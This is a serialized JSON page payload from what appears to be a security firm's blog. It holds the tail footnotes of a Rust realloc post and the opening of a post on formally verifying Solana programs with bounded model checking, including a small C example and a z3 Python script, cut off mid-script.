!Sync",{"type":27,"value":7750},{"type":22,"tag":69,"props":19857,"children":19861},{"href":19858,"ariaLabel":19859,"className":19860,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[19841],[19862],{"type":27,"value":19844},{"type":22,"tag":1871,"props":19864,"children":19866},{"id":19865},"user-content-fn-layout",[19867,19869,19874,19875,19888,19890,19895,19897,19902,19904,19909,19911],{"type":27,"value":19868},"Note that this is a terrible idea for yet another reason: ",{"type":22,"tag":257,"props":19870,"children":19872},{"className":19871},[],[19873],{"type":27,"value":16238},{"type":27,"value":6791},{"type":22,"tag":69,"props":19876,"children":19879},{"href":19877,"rel":19878},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[73],[19880,19882],{"type":27,"value":19881},"not declared with ",{"type":22,"tag":257,"props":19883,"children":19885},{"className":19884},[],[19886],{"type":27,"value":19887},"#[repr(C)]",{"type":27,"value":19889},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":22,"tag":1699,"props":19891,"children":19892},{},[19893],{"type":27,"value":19894},"breaks the entire chain",{"type":27,"value":19896}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":22,"tag":1699,"props":19898,"children":19899},{},[19900],{"type":27,"value":19901},"some",{"type":27,"value":19903}," kind of interface to the specific layout of the specific ",{"type":22,"tag":257,"props":19905,"children":19907},{"className":19906},[],[19908],{"type":27,"value":17810},{"type":27,"value":19910}," versions used to build on-chain code for all eternity... ",{"type":22,"tag":69,"props":19912,"children":19916},{"href":19913,"ariaLabel":19914,"className":19915,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[19841],[19917],{"type":27,"value":19844},{"type":22,"tag":1871,"props":19919,"children":19921},{"id":19920},"user-content-fn-rustc-llvm",[19922,19924],{"type":27,"value":19923},"Actually, it's LLVM that does the optimization ",{"type":22,"tag":69,"props":19925,"children":19929},{"href":19926,"ariaLabel":19927,"className":19928,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[19841],[19930],{"type":27,"value":19844},{"type":22,"tag":1871,"props":19932,"children":19934},{"id":19933},"user-content-fn-godbolt",[19935,19942,19944,19950,19952],{"type":22,"tag":69,"props":19936,"children":19939},{"href":19937,"rel":19938},"https://godbolt.org/z/PK46xMbxc",[73],[19940],{"type":27,"value":19941},"Click here",{"type":27,"value":19943}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":22,"tag":257,"props":19945,"children":19947},{"className":19946},[],[19948],{"type":27,"value":19949},"libcore",{"type":27,"value":19951}," available for other architectures yet. ",{"type":22,"tag":69,"props":19953,"children":19957},{"href":19954,"ariaLabel":19955,"className":19956,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[19841],[19958],{"type":27,"value":19844},{"type":22,"tag":1871,"props":19960,"children":19962},{"id":19961},"user-content-fn-slice-unbound-lifetime",[19963,19965,19970,19972,19978,19980,19986,19988,19994,19996,20002,20004,20010,20012,20017,20019],{"type":27,"value":19964},"The astute reader may have noticed that ",{"type":22,"tag":257,"props":19966,"children":19968},{"className":19967},[],[19969],{"type":27,"value":19657},{"type":27,"value":19971}," still returns an unbounded lifetime (notice in the signature ",{"type":22,"tag":257,"props":19973,"children":19975},{"className":19974},[],[19976],{"type":27,"value":19977},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":27,"value":19979},", the lifetime parameter ",{"type":22,"tag":257,"props":19981,"children":19983},{"className":19982},[],[19984],{"type":27,"value":19985},"'a",{"type":27,"value":19987}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":22,"tag":257,"props":19989,"children":19991},{"className":19990},[],[19992],{"type":27,"value":19993},"*slice",{"type":27,"value":19995},", which is ",{"type":22,"tag":257,"props":19997,"children":19999},{"className":19998},[],[20000],{"type":27,"value":20001},"&'info [u8]",{"type":27,"value":20003}," (where ",{"type":22,"tag":257,"props":20005,"children":20007},{"className":20006},[],[20008],{"type":27,"value":20009},"'info",{"type":27,"value":20011}," is the lifetime parameter of the ",{"type":22,"tag":257,"props":20013,"children":20015},{"className":20014},[],[20016],{"type":27,"value":16238},{"type":27,"value":20018}," struct) - this is exactly the lifetime we started with. ",{"type":22,"tag":69,"props":20020,"children":20024},{"href":20021,"ariaLabel":20022,"className":20023,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[19841],[20025],{"type":27,"value":19844},{"type":22,"tag":4139,"props":20027,"children":20028},{},[20029],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":20031},[20032,20038,20042,20043,20045],{"id":15667,"depth":1545,"text":20033,"children":20034},"Breaking down realloc",[20035,20036],{"id":15833,"depth":1560,"text":15836},{"id":17192,"depth":1560,"text":20037},"Back to realloc",{"id":18145,"depth":1545,"text":18148,"children":20039},[20040,20041],{"id":18151,"depth":1560,"text":18154},{"id":18373,"depth":1560,"text":18376},{"id":18560,"depth":1545,"text":18563},{"id":18962,"depth":1545,"text":20044},"Towards safer unsafe",{"id":16780,"depth":1545,"text":19736},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":20050,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":20051,"description":20052,"author":20053,"image":20054,"date":20056,"isFeatured":17,"onBlogPage":17,"tags":20057,"body":20058,"_type":4157,"_id":30313,"_source":4159,"_file":30314,"_stem":30315,"_extension":4162},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":20055,"height":14921,"width":14922},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[16,4174],{"type":19,"children":20059,"toc":30285},[20060,20065,20070,20096,20100,20112,20135,20158,20170,20193,20196,20203,20253,20259,20265,20270,20281,20322,20327,20333,20338,20571,20591,20596,20601,20674,20679,20749,20763,21188,21208,21214,21233,21238,21243,21248,21254,21266,21301,21312,21323,21335,21340,21372,21396,21415,21421,21438,21444,21471,21476,21496,21508,21654,21682,21685,21697,21780,21799,21802,21841,22008,22013,22019,22031,22050,22063,22224,22236,22249,22723,22728,22775,22781,22799,22868,23099,23313,23318,23392,23440,23445,23451,23553,23657,23662,23725,23730,23736,23801,23806,23848,23874,23880,23949,23954,24004,24015,24021,24032,24053,24058,24063,24086,24092,24104,24124,25240,25259,25310,25315,25323,25335,25340,25348,25353,25369,25405,25410,25504,25509,25517,25522,25634,25639,25647,25660,25824,25829,25837,25842,25847,25915,25949,25955,25960,25971,25989,26367,26379,26391,26399,26410,26441,26446,26454,26459,26731,26750,26755,26781,27649,27661,27760,27772,27814,27819,27831,27839,27844,27856,27882,28042,28054,28062,28067,28343,28348,28360,28515,28535,28861,28895,29089,29122,29134,29256,29276,29281,29286,29291,29304,29312,29317,29792,29804,29809,29821,29826,30085,30111,30116,30122,30128,30140,30152,30171,30218,30223,30229,30234,30239,30244,30249,30254,30259,30262,30281],{"type":22,"tag":23,"props":20061,"children":20062},{},[20063],{"type":27,"value":20064},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":22,"tag":23,"props":20066,"children":20067},{},[20068],{"type":27,"value":20069},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":22,"tag":23,"props":20071,"children":20072},{},[20073,20075,20079,20081,20086,20088,20095],{"type":27,"value":20074},"In the world of Web3 we create programs that talk to strangers ",{"type":22,"tag":1699,"props":20076,"children":20077},{},[20078],{"type":27,"value":17672},{"type":27,"value":20080}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":22,"tag":1699,"props":20082,"children":20083},{},[20084],{"type":27,"value":20085},"juciest",{"type":27,"value":20087},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":22,"tag":69,"props":20089,"children":20092},{"href":20090,"rel":20091},"https://rekt.news/leaderboard/",[73],[20093],{"type":27,"value":20094},"hundreds of millions of dollars",{"type":27,"value":210},{"type":22,"tag":20097,"props":20098,"children":20099},"hr",{},[],{"type":22,"tag":23,"props":20101,"children":20102},{},[20103,20105,20110],{"type":27,"value":20104},"At OtterSec we are ",{"type":22,"tag":1699,"props":20106,"children":20107},{},[20108],{"type":27,"value":20109},"highly skilled in pest control",{"type":27,"value":20111}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":22,"tag":23,"props":20113,"children":20114},{},[20115,20117,20124,20126,20133],{"type":27,"value":20116},"Recently we were contacted by the ",{"type":22,"tag":69,"props":20118,"children":20121},{"href":20119,"rel":20120},"https://squads.so/",[73],[20122],{"type":27,"value":20123},"Squads team",{"type":27,"value":20125}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":22,"tag":69,"props":20127,"children":20130},{"href":20128,"rel":20129},"https://github.com/Squads-Protocol/squads-mpl",[73],[20131],{"type":27,"value":20132},"Squads Multisig Program",{"type":27,"value":20134}," as our main case study.",{"type":22,"tag":23,"props":20136,"children":20137},{},[20138,20140,20147,20149,20156],{"type":27,"value":20139},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":22,"tag":69,"props":20141,"children":20144},{"href":20142,"rel":20143},"https://www.anchor-lang.com/",[73],[20145],{"type":27,"value":20146},"anchor-lang",{"type":27,"value":20148}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":22,"tag":69,"props":20150,"children":20153},{"href":20151,"rel":20152},"https://github.com/model-checking/kani",[73],[20154],{"type":27,"value":20155},"Kani Rust Verifier",{"type":27,"value":20157},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":22,"tag":23,"props":20159,"children":20160},{},[20161,20163,20168],{"type":27,"value":20162},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":22,"tag":1699,"props":20164,"children":20165},{},[20166],{"type":27,"value":20167},"bounded model checking",{"type":27,"value":20169}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":22,"tag":23,"props":20171,"children":20172},{},[20173],{"type":22,"tag":1699,"props":20174,"children":20175},{},[20176,20178,20185,20187],{"type":27,"value":20177},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":22,"tag":69,"props":20179,"children":20182},{"href":20180,"rel":20181},"https://osec.io/contact",[73],[20183],{"type":27,"value":20184},"this form",{"type":27,"value":20186}," or email us at ",{"type":22,"tag":69,"props":20188,"children":20190},{"href":20189},"mailto:contact@osec.io",[20191],{"type":27,"value":20192},"contact@osec.io",{"type":22,"tag":20097,"props":20194,"children":20195},{},[],{"type":22,"tag":20197,"props":20198,"children":20200},"h4",{"id":20199},"contents",[20201],{"type":27,"value":20202},"Contents:",{"type":22,"tag":1867,"props":20204,"children":20205},{},[20206,20211,20228,20238,20243,20248],{"type":22,"tag":1871,"props":20207,"children":20208},{},[20209],{"type":27,"value":20210},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":22,"tag":1871,"props":20212,"children":20213},{},[20214,20219,20221,20226],{"type":22,"tag":242,"props":20215,"children":20216},{},[20217],{"type":27,"value":20218},"Specification",{"type":27,"value":20220},": How can we describe what we ",{"type":22,"tag":1699,"props":20222,"children":20223},{},[20224],{"type":27,"value":20225},"want",{"type":27,"value":20227}," our program to do?",{"type":22,"tag":1871,"props":20229,"children":20230},{},[20231,20236],{"type":22,"tag":242,"props":20232,"children":20233},{},[20234],{"type":27,"value":20235},"Verification",{"type":27,"value":20237},": How do we check that our model is correct?",{"type":22,"tag":1871,"props":20239,"children":20240},{},[20241],{"type":27,"value":20242},"Case Study: Squads Multisig",{"type":22,"tag":1871,"props":20244,"children":20245},{},[20246],{"type":27,"value":20247},"Additional challenges in Solana",{"type":22,"tag":1871,"props":20249,"children":20250},{},[20251],{"type":27,"value":20252},"Conclusion",{"type":22,"tag":169,"props":20254,"children":20256},{"id":20255},"formal-verification-with-bounded-model-checking",[20257],{"type":27,"value":20258},"Formal Verification with Bounded Model Checking",{"type":22,"tag":181,"props":20260,"children":20262},{"id":20261},"overview",[20263],{"type":27,"value":20264},"Overview",{"type":22,"tag":23,"props":20266,"children":20267},{},[20268],{"type":27,"value":20269},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":22,"tag":23,"props":20271,"children":20272},{},[20273,20275,20280],{"type":27,"value":20274},"There are many different flavors of formal verification, however in this research we are using ",{"type":22,"tag":242,"props":20276,"children":20277},{},[20278],{"type":27,"value":20279},"bounded model checking (BMC)",{"type":27,"value":210},{"type":22,"tag":23,"props":20282,"children":20283},{},[20284,20286,20291,20293,20298,20300,20304,20306,20312,20314,20320],{"type":27,"value":20285},"In short, the idea of BMC is to execute our program ",{"type":22,"tag":1699,"props":20287,"children":20288},{},[20289],{"type":27,"value":20290},"symbolically",{"type":27,"value":20292}," rather than ",{"type":22,"tag":1699,"props":20294,"children":20295},{},[20296],{"type":27,"value":20297},"concretely",{"type":27,"value":20299},". Instead of actually performing an ",{"type":22,"tag":1699,"props":20301,"children":20302},{},[20303],{"type":27,"value":10936},{"type":27,"value":20305}," when we see the line ",{"type":22,"tag":257,"props":20307,"children":20309},{"className":20308},[],[20310],{"type":27,"value":20311},"int x = a + b",{"type":27,"value":20313},", we store the symbolic expression ",{"type":22,"tag":257,"props":20315,"children":20317},{"className":20316},[],[20318],{"type":27,"value":20319},"x == a + b",{"type":27,"value":20321},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":22,"tag":23,"props":20323,"children":20324},{},[20325],{"type":27,"value":20326},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":22,"tag":181,"props":20328,"children":20330},{"id":20329},"a-simple-example",[20331],{"type":27,"value":20332},"A simple example",{"type":22,"tag":23,"props":20334,"children":20335},{},[20336],{"type":27,"value":20337},"As an example, consider the following function:",{"type":22,"tag":618,"props":20339,"children":20341},{"code":20340,"language":4449,"meta":7,"className":17815,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[20342],{"type":22,"tag":257,"props":20343,"children":20344},{"__ignoreMap":7},[20345,20375,20409,20421,20446,20474,20489,20516,20523,20530,20538,20564],{"type":22,"tag":264,"props":20346,"children":20347},{"class":1534,"line":1535},[20348,20353,20358,20362,20366,20371],{"type":22,"tag":264,"props":20349,"children":20350},{"style":4293},[20351],{"type":27,"value":20352},"int",{"type":22,"tag":264,"props":20354,"children":20355},{"style":4401},[20356],{"type":27,"value":20357}," foo",{"type":22,"tag":264,"props":20359,"children":20360},{"style":1539},[20361],{"type":27,"value":2660},{"type":22,"tag":264,"props":20363,"children":20364},{"style":4293},[20365],{"type":27,"value":20352},{"type":22,"tag":264,"props":20367,"children":20368},{"style":1549},[20369],{"type":27,"value":20370}," x",{"type":22,"tag":264,"props":20372,"children":20373},{"style":1539},[20374],{"type":27,"value":16103},{"type":22,"tag":264,"props":20376,"children":20377},{"class":1534,"line":1545},[20378,20383,20387,20391,20396,20400,20405],{"type":22,"tag":264,"props":20379,"children":20380},{"style":4293},[20381],{"type":27,"value":20382},"    int",{"type":22,"tag":264,"props":20384,"children":20385},{"style":1539},[20386],{"type":27,"value":5808},{"type":22,"tag":264,"props":20388,"children":20389},{"style":4309},[20390],{"type":27,"value":429},{"type":22,"tag":264,"props":20392,"children":20393},{"style":1539},[20394],{"type":27,"value":20395}," x ",{"type":22,"tag":264,"props":20397,"children":20398},{"style":4309},[20399],{"type":27,"value":673},{"type":22,"tag":264,"props":20401,"children":20402},{"style":4344},[20403],{"type":27,"value":20404}," 3",{"type":22,"tag":264,"props":20406,"children":20407},{"style":1539},[20408],{"type":27,"value":4322},{"type":22,"tag":264,"props":20410,"children":20411},{"class":1534,"line":1560},[20412,20416],{"type":22,"tag":264,"props":20413,"children":20414},{"style":4293},[20415],{"type":27,"value":20382},{"type":22,"tag":264,"props":20417,"children":20418},{"style":1539},[20419],{"type":27,"value":20420}," z;\n",{"type":22,"tag":264,"props":20422,"children":20423},{"class":1534,"line":1569},[20424,20428,20433,20437,20442],{"type":22,"tag":264,"props":20425,"children":20426},{"style":4328},[20427],{"type":27,"value":13578},{"type":22,"tag":264,"props":20429,"children":20430},{"style":1539},[20431],{"type":27,"value":20432}," (y ",{"type":22,"tag":264,"props":20434,"children":20435},{"style":4309},[20436],{"type":27,"value":11760},{"type":22,"tag":264,"props":20438,"children":20439},{"style":4344},[20440],{"type":27,"value":20441}," 100",{"type":22,"tag":264,"props":20443,"children":20444},{"style":1539},[20445],{"type":27,"value":16103},{"type":22,"tag":264,"props":20447,"children":20448},{"class":1534,"line":1583},[20449,20454,20458,20462,20466,20470],{"type":22,"tag":264,"props":20450,"children":20451},{"style":1539},[20452],{"type":27,"value":20453},"        z ",{"type":22,"tag":264,"props":20455,"children":20456},{"style":4309},[20457],{"type":27,"value":429},{"type":22,"tag":264,"props":20459,"children":20460},{"style":1539},[20461],{"type":27,"value":5808},{"type":22,"tag":264,"props":20463,"children":20464},{"style":4309},[20465],{"type":27,"value":5865},{"type":22,"tag":264,"props":20467,"children":20468},{"style":4344},[20469],{"type":27,"value":9228},{"type":22,"tag":264,"props":20471,"children":20472},{"style":1539},[20473],{"type":27,"value":4322},{"type":22,"tag":264,"props":20475,"children":20476},{"class":1534,"line":1603},[20477,20481,20485],{"type":22,"tag":264,"props":20478,"children":20479},{"style":1539},[20480],{"type":27,"value":17079},{"type":22,"tag":264,"props":20482,"children":20483},{"style":4328},[20484],{"type":27,"value":4619},{"type":22,"tag":264,"props":20486,"children":20487},{"style":1539},[20488],{"type":27,"value":4594},{"type":22,"tag":264,"props":20490,"children":20491},{"class":1534,"line":1612},[20492,20496,20500,20504,20508,20512],{"type":22,"tag":264,"props":20493,"children":20494},{"style":1539},[20495],{"type":27,"value":20453},{"type":22,"tag":264,"props":20497,"children":20498},{"style":4309},[20499],{"type":27,"value":429},{"type":22,"tag":264,"props":20501,"children":20502},{"style":1539},[20503],{"type":27,"value":5808},{"type":22,"tag":264,"props":20505,"children":20506},{"style":4309},[20507],{"type":27,"value":673},{"type":22,"tag":264,"props":20509,"children":20510},{"style":4344},[20511],{"type":27,"value":5817},{"type":22,"tag":264,"props":20513,"children":20514},{"style":1539},[20515],{"type":27,"value":4322},{"type":22,"tag":264,"props":20517,"children":20518},{"class":1534,"line":1621},[20519],{"type":22,"tag":264,"props":20520,"children":20521},{"style":1539},[20522],{"type":27,"value":1674},{"type":22,"tag":264,"props":20524,"children":20525},{"class":1534,"line":1629},[20526],{"type":22,"tag":264,"props":20527,"children":20528},{"emptyLinePlaceholder":17},[20529],{"type":27,"value":4986},{"type":22,"tag":264,"props":20531,"children":20532},{"class":1534,"line":1642},[20533],{"type":22,"tag":264,"props":20534,"children":20535},{"style":4284},[20536],{"type":27,"value":20537},"    // Property P:\n",{"type":22,"tag":264,"props":20539,"children":20540},{"class":1534,"line":1660},[20541,20546,20551,20555,20560],{"type":22,"tag":264,"props":20542,"children":20543},{"style":4401},[20544],{"type":27,"value":20545},"    assert",{"type":22,"tag":264,"props":20547,"children":20548},{"style":1539},[20549],{"type":27,"value":20550},"(z ",{"type":22,"tag":264,"props":20552,"children":20553},{"style":4309},[20554],{"type":27,"value":16988},{"type":22,"tag":264,"props":20556,"children":20557},{"style":4344},[20558],{"type":27,"value":20559}," 105",{"type":22,"tag":264,"props":20561,"children":20562},{"style":1539},[20563],{"type":27,"value":5142},{"type":22,"tag":264,"props":20565,"children":20566},{"class":1534,"line":1668},[20567],{"type":22,"tag":264,"props":20568,"children":20569},{"style":1539},[20570],{"type":27,"value":1692},{"type":22,"tag":23,"props":20572,"children":20573},{},[20574,20576,20582,20584,20590],{"type":27,"value":20575},"This function takes an input ",{"type":22,"tag":257,"props":20577,"children":20579},{"className":20578},[],[20580],{"type":27,"value":20581},"x",{"type":27,"value":20583}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":22,"tag":257,"props":20585,"children":20587},{"className":20586},[],[20588],{"type":27,"value":20589},"z != 105",{"type":27,"value":210},{"type":22,"tag":23,"props":20592,"children":20593},{},[20594],{"type":27,"value":20595},"With BMC, we could trace this program and derive the following constraints:",{"type":22,"tag":23,"props":20597,"children":20598},{},[20599],{"type":27,"value":20600},"Positive branch:",{"type":22,"tag":618,"props":20602,"children":20604},{"code":20603,"language":4449,"meta":7,"className":17815,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[20605],{"type":22,"tag":257,"props":20606,"children":20607},{"__ignoreMap":7},[20608,20633,20649],{"type":22,"tag":264,"props":20609,"children":20610},{"class":1534,"line":1535},[20611,20616,20620,20624,20628],{"type":22,"tag":264,"props":20612,"children":20613},{"style":1539},[20614],{"type":27,"value":20615},"y ",{"type":22,"tag":264,"props":20617,"children":20618},{"style":4309},[20619],{"type":27,"value":9870},{"type":22,"tag":264,"props":20621,"children":20622},{"style":1539},[20623],{"type":27,"value":20395},{"type":22,"tag":264,"props":20625,"children":20626},{"style":4309},[20627],{"type":27,"value":673},{"type":22,"tag":264,"props":20629,"children":20630},{"style":4344},[20631],{"type":27,"value":20632}," 3\n",{"type":22,"tag":264,"props":20634,"children":20635},{"class":1534,"line":1545},[20636,20640,20644],{"type":22,"tag":264,"props":20637,"children":20638},{"style":1539},[20639],{"type":27,"value":20615},{"type":22,"tag":264,"props":20641,"children":20642},{"style":4309},[20643],{"type":27,"value":11760},{"type":22,"tag":264,"props":20645,"children":20646},{"style":4344},[20647],{"type":27,"value":20648}," 100\n",{"type":22,"tag":264,"props":20650,"children":20651},{"class":1534,"line":1560},[20652,20657,20661,20665,20669],{"type":22,"tag":264,"props":20653,"children":20654},{"style":1539},[20655],{"type":27,"value":20656},"z ",{"type":22,"tag":264,"props":20658,"children":20659},{"style":4309},[20660],{"type":27,"value":9870},{"type":22,"tag":264,"props":20662,"children":20663},{"style":1539},[20664],{"type":27,"value":5808},{"type":22,"tag":264,"props":20666,"children":20667},{"style":4309},[20668],{"type":27,"value":5865},{"type":22,"tag":264,"props":20670,"children":20671},{"style":4344},[20672],{"type":27,"value":20673}," 2\n",{"type":22,"tag":23,"props":20675,"children":20676},{},[20677],{"type":27,"value":20678},"Negative branch:",{"type":22,"tag":618,"props":20680,"children":20682},{"code":20681,"language":4449,"meta":7,"className":17815,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[20683],{"type":22,"tag":257,"props":20684,"children":20685},{"__ignoreMap":7},[20686,20709,20725],{"type":22,"tag":264,"props":20687,"children":20688},{"class":1534,"line":1535},[20689,20693,20697,20701,20705],{"type":22,"tag":264,"props":20690,"children":20691},{"style":1539},[20692],{"type":27,"value":20615},{"type":22,"tag":264,"props":20694,"children":20695},{"style":4309},[20696],{"type":27,"value":9870},{"type":22,"tag":264,"props":20698,"children":20699},{"style":1539},[20700],{"type":27,"value":20395},{"type":22,"tag":264,"props":20702,"children":20703},{"style":4309},[20704],{"type":27,"value":673},{"type":22,"tag":264,"props":20706,"children":20707},{"style":4344},[20708],{"type":27,"value":20632},{"type":22,"tag":264,"props":20710,"children":20711},{"class":1534,"line":1545},[20712,20716,20721],{"type":22,"tag":264,"props":20713,"children":20714},{"style":1539},[20715],{"type":27,"value":20615},{"type":22,"tag":264,"props":20717,"children":20718},{"style":4309},[20719],{"type":27,"value":20720},"\u003C=",{"type":22,"tag":264,"props":20722,"children":20723},{"style":4344},[20724],{"type":27,"value":20648},{"type":22,"tag":264,"props":20726,"children":20727},{"class":1534,"line":1560},[20728,20732,20736,20740,20744],{"type":22,"tag":264,"props":20729,"children":20730},{"style":1539},[20731],{"type":27,"value":20656},{"type":22,"tag":264,"props":20733,"children":20734},{"style":4309},[20735],{"type":27,"value":9870},{"type":22,"tag":264,"props":20737,"children":20738},{"style":1539},[20739],{"type":27,"value":5808},{"type":22,"tag":264,"props":20741,"children":20742},{"style":4309},[20743],{"type":27,"value":673},{"type":22,"tag":264,"props":20745,"children":20746},{"style":4344},[20747],{"type":27,"value":20748}," 1\n",{"type":22,"tag":23,"props":20750,"children":20751},{},[20752,20754,20761],{"type":27,"value":20753},"Using the ",{"type":22,"tag":69,"props":20755,"children":20758},{"href":20756,"rel":20757},"https://github.com/Z3Prover/z3",[73],[20759],{"type":27,"value":20760},"z3",{"type":27,"value":20762}," SMT solver, we could check both of these cases like so:",{"type":22,"tag":618,"props":20764,"children":20768},{"code":20765,"language":20766,"meta":7,"className":20767,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[20769],{"type":22,"tag":257,"props":20770,"children":20771},{"__ignoreMap":7},[20772,20795,20802,20828,20852,20876,20883,20891,20908,20936,20955,20983,20990,20998,21019,21037,21044,21052,21067,21094,21113,21140,21147,21154,21173],{"type":22,"tag":264,"props":20773,"children":20774},{"class":1534,"line":1535},[20775,20780,20785,20790],{"type":22,"tag":264,"props":20776,"children":20777},{"style":4328},[20778],{"type":27,"value":20779},"from",{"type":22,"tag":264,"props":20781,"children":20782},{"style":1539},[20783],{"type":27,"value":20784}," z3 ",{"type":22,"tag":264,"props":20786,"children":20787},{"style":4328},[20788],{"type":27,"value":20789},"import",{"type":22,"tag":264,"props":20791,"children":20792},{"style":4309},[20793],{"type":27,"value":20794}," *\n",{"type":22,"tag":264,"props":20796,"children":20797},{"class":1534,"line":1545},[20798],{"type":22,"tag":264,"props":20799,"children":20800},{"emptyLinePlaceholder":17},[20801],{"type":27,"value":4986},{"type":22,"tag":264,"props":20803,"children":20804},{"class":1534,"line":1560},[20805,20810,20814,20819,20824],{"type":22,"tag":264,"props":20806,"children":20807},{"style":1539},[20808],{"type":27,"value":20809},"x ",{"type":22,"tag":264,"props":20811,"children":20812},{"style":4309},[20813],{"type":27,"value":429},{"type":22,"tag":264,"props":20815,"children":20816},{"style":1539},[20817],{"type":27,"value":20818}," Int(",{"type":22,"tag":264,"props":20820,"children":20821},{"style":1597},[20822],{"type":27,"value":20823},"'x'",{"type":22,"tag":264,"props":20825,"children":20826},{"style":1539},[20827],{"type":27,"value":4463},{"type":22,"tag":264,"props":20829,"children":20830},{"class":1534,"line":1569},[20831,20835,20839,20843,20848],{"type":22,"tag":264,"props":20832,"children":20833},{"style":1539},[20834],{"type":27,"value":20615},{"type":22,"tag":264,"props":20836,"children":20837},{"style":4309},[20838],{"type":27,"value":429},{"type":22,"tag":264,"props":20840,"children":20841},{"style":1539},[20842],{"type":27,"value":20818},{"type":22,"tag":264,"props":20844,"children":20845},{"style":1597},[20846],{"type":27,"value":20847},"'y'",{"type":22,"tag":264,"props":20849,"children":20850},{"style":1539},[20851],{"type":27,"value":4463},{"type":22,"tag":264,"props":20853,"children":20854},{"class":1534,"line":1583},[20855,20859,20863,20867,20872],{"type":22,"tag":264,"props":20856,"children":20857},{"style":1539},[20858],{"type":27,"value":20656},{"type":22,"tag":264,"props":20860,"children":20861},{"style":4309},[20862],{"type":27,"value":429},{"type":22,"tag":264,"props":20864,"children":20865},{"style":1539},[20866],{"type":27,"value":20818},{"type":22,"tag":264,"props":20868,"children":20869},{"style":1597},[20870],{"type":27,"value":20871},"'z'",{"type":22,"tag":264,"props":20873,"children":20874},{"style":1539},[20875],{"type":27,"value":4463},{"type":22,"tag":264,"props":20877,"children":20878},{"class":1534,"line":1603},[20879],{"type":22,"tag":264,"props":20880,"children":20881},{"emptyLinePlaceholder":17},[20882],{"type":27,"value":4986},{"type":22,"tag":264,"props":20884,"children":20885},{"class":1534,"line":1612},[20886],{"type":22,"tag":264,"props":20887,"children":20888},{"style":4284},[20889],{"type":27,"value":20890},"# Positive branch:\n",{"type":22,"tag":264,"props":20892,"children":20893},{"class":1534,"line":1621},[20894,20899,20903],{"type":22,"tag":264,"props":20895,"children":20896},{"style":1539},[20897],{"type":27,"value":20898},"s ",{"type":22,"tag":264,"props":20900,"children":20901},{"style":4309},[20902],{"type":27,"value":429},{"type":22,"tag":264,"props":20904,"children":20905},{"style":1539},[20906],{"type":27,"value":20907}," Solver()\n",{"type":22,"tag":264,"props":20909,"children":20910},{"class":1534,"line":1629},[20911,20916,20920,20924,20928,20932],{"type":22,"tag":264,"props":20912,"children":20913},{"style":1539},[20914],{"type":27,"value":20915},"s.add(y 